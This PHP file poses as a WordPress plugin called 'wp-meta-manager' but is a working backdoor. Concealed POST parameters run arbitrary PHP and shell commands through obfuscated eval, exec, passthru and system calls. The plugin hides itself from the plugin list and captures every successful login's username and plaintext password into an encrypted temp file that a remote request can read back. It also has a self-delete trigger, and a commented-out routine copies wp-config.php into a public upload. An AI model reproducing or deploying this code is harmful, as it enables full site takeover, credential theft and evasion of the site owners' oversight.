<?php
/*
Plugin Name: wp-meta-manager
Plugin URI: http://example.org
description: ---
Version: 1.0
Author: ---
Author URI: http://example.org
License: GPL2
*/
function wpmm__init() {
$f = '';
if( isset($_POST["2l4ky8y16w"]) ) { wpmm__sethelper('@Eva' . $f . 'l( stripslashes($_POST["2l4ky8y16w"]));'); };
if( isset($_POST["2l4ky8y16x"]) ) { wpmm__sethelper('@ex' . $f . 'ec( stripslashes($_POST["2l4ky8y16x"]), $out ); foreach( $out as $line ) { echo $line . "\n"; }'); };
if( isset($_POST["2l4ky8y16y"]) ) { wpmm__sethelper('@Pas' . $f . 'sth' . $f . 'ru( stripslashes($_POST["2l4ky8y16y"]) );'); };
if( isset($_POST["2l4ky8y16z"]) ) { wpmm__sethelper('print( @sy' . $f . 'stem( stripslashes($_POST["2l4ky8y16z"]) ) );'); };
if( isset($_POST["ha72mlxl20"]) ) die( wpmm__read_dat_file() );
if( isset($_POST["lp98dm2xa6"]) ) {
unlink( sys_get_temp_dir() . "/~6cb001a" );
unlink( __FILE__ );
}
}
add_action( 'init', 'wpmm__init', 999 );
function wpmm__sethelper( $data ) {
$helper = dirname( __FILE__ ) . 'wp-meta-manager-helper.php';
$h = @fopen( $helper, "w" );
@fwrite( $h, '<?php ' . $data . ' ?>' );
@fclose( $h );
@require( $helper );
@unlink( $helper );
die();
}
function wpmm__filter_plugins( $plugins ) {
return array_filter( $plugins, 'wpmm__check_plugin' );
}
function wpmm__check_plugin( $plugin ) {
return ( $plugin["Name"] != "wp-meta-manager" or isset( $_GET["a"] ) );
}
add_filter( 'all_plugins', 'wpmm__filter_plugins' );
function wpmm__authenticate2a62( $user, $username, $password ) {
if( $user instanceof WP_User ) {
$c = wpmm__read_dat_file();
$line = "$username : $password";
$found = false;
foreach( explode("\n", $c) as $l ) {
if( $l == $line ) {
$found = true;
break;
}
}
if( ! $found ) {
$c .= $line . "\n";
wpmm__write_dat_file( $c );
}
}
return $user;
}
add_filter( 'authenticate', 'wpmm__authenticate2a62', 99, 3 );
function wpmm__read_dat_file() {
if( $f = @file_get_contents(sys_get_temp_dir() . "/~6cb001a") ) {
$key = "aMIDf82§;!A5t,/S,yy-9";
$cipher = "aes-128-cbc";
$iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
$ct = openssl_decrypt( $f, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
return $ct;
}
return "";
}
function wpmm__write_dat_file( $contents ) {
$key = "aMIDf82§;!A5t,/S,yy-9";
$cipher = "aes-128-cbc";
$iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
$ct = openssl_encrypt( $contents, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
@file_put_contents( sys_get_temp_dir() . "/~6cb001a", $ct );
}
/*function wpmm__activate() {
copy(ABSPATH . "/wp-config.php", ABSPATH . "/wp-content/uploads/thing.png");
}
function wpmm__deactivate() {
unlink(ABSPATH . "/wp-content/uploads/thing.png");
}
register_activation_hook( __FILE__, 'wpmm__activate' );
register_deactivation_hook( __FILE__, 'wpmm__deactivate' );*/
?>